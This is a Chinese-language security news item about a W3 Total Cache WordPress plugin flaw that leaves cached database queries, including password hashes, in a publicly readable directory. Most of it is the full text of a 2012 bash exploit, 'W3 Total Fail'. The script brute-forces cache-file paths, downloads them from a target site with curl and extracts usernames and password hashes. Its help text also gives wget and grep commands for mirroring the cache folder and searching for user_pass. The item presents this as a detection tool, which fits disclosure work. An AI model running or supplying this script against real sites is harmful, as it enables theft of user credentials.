日前，国外黑客Jason在网络公布了该款插件的漏洞，安装该插件之后，缓存中的数据被存储在任意用户可以访问的目录，攻击者可以利用该目录获取密码hash值和其他的一些数据库信息。
W3 Total Cache插件存储的数据在 “/wp-content/w3tc/dbcache/” ，攻击者可以在该目录浏览和下载缓存数据信息。
作者发布了一个简单的工具来识别该漏洞，下载地址
http://git.zx2c4.com/w3-total-fail/tree/w3-total-fail.sh
#!/bin/bash
# (C) Copyright 2012 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.
#
# |---------------|
# | W3 Total Fail |
# | by zx2c4 |
# |---------------|
#
# For more info, see built-in help text.
# Most up to date version is available at:
http://git.zx2c4.com/w3-total-fail/tree/w3-total-fail.sh
#
# This affects W3 Total Cache <= 0.9.2.4.
set -f
printf "\033[1m\033[31m"
echo "<===== W3 Total Fail =====>"
echo "< >"
echo "< by zx2c4 >"
echo "< >"
echo "<=========================>"
echo
echo
printf "\033[0m\033[1m"
echo "W3 Total Fail works by attempting to guess SQL queries that might"
echo "contain important password hashes. It walks through"
printf "\033[0m"
echo " http://\$wordpress/wp-content/w3tc/dbcache/..."
printf "\033[1m"
echo "until it's found the right files. If this directory has directory"
echo "index listings turned on, you might have more luck downloading the"
echo "entire folder and grepping locally for patterns, like so:"
printf "\033[0m"
echo " \$ wget -np -r http://\$wordpress/wp-content/w3tc/dbcache/"
echo " \$ grep -Ra user_pass ."
printf "\033[1m"
echo "If directory listings are not available, then this is the tool for"
echo "you, as it will try to brute force possible w3tc keys. It will try"
echo "25 user ids and 25 site ids. Adjust the script for more or less range."
echo
echo "Enjoy!"
echo
echo "- zx2c4"
echo "Dec 24, 2012"
echo
printf "\033[0m"
printf "\033[0m\033[36m"
echo "Usage: $0 HOST [URLBASE] [DBPREFIX]"
echo
echo "HOST should be the name of the host that is stored by wordpress. It"
echo "may be the actual host name of the server, or it might be something"
echo "different, depending on how wordpress is configured."
echo "Example: blog.zx2c4.com"
echo
echo "URLBASE is the base URL of the wordpress blog which are prefixed in"
echo "forming HTTP requests. If not specified it will default to
http://\$HOST"
echo "Example: http://blog.zx2c4.com or
https://someblahblasite.com/my_blog"
echo
echo "DBPREFIX is the wordpress prefix used for database table names. It"
echo "is often \"wp_\", which DBPREFIX defaults to if this argument is"
echo "unspecified. Some wordpress installations will use an empty prefix,"
echo "and others use a site-specific prefix. Most, however, will use the"
echo "default."
echo "Example: wp_"
echo
printf "\033[0m"
if [ $# -lt 1 ]; then
echo "Error: HOST is a required argument."
exit 1
fi
host="$1"
urlbase="${2:-http://$host}"
db_prefix="$3"
[ $# -lt 3 ] && db_prefix="wp_"
for site_id in {1..25} 0; do for user_id in {1..25}; do
query="SELECT * FROM ${db_prefix}users WHERE ID = '$user_id'"
key="w3tc_${host}_${site_id}_sql_$(echo -n "$query"|md5sum|cut -d ' ' -f 1)"
hash="$(echo -n "$key"|md5sum|cut -d ' ' -f 1)"
hash_path="${hash:0:1}/${hash:1:1}/${hash:2:1}/${hash}"
url="$urlbase/wp-content/w3tc/dbcache/$hash_path"
printf "\033[33m"
echo -n "Attempting"
printf "\033[0m"
echo " $url..."
curl -s "$url" | tail -c +5 | tr -d '\n' | sed -n 's/.*"user_login";s:[0-9]\+:"\([^"]*\)";s:[0-9]\+:"user_pass";s:[0-9]\+:"\([^"]*\)".*/\x1b[1m\x1b[32mUsername: \1\nPassword hash: \2\x1b[0m\n/p'
done; done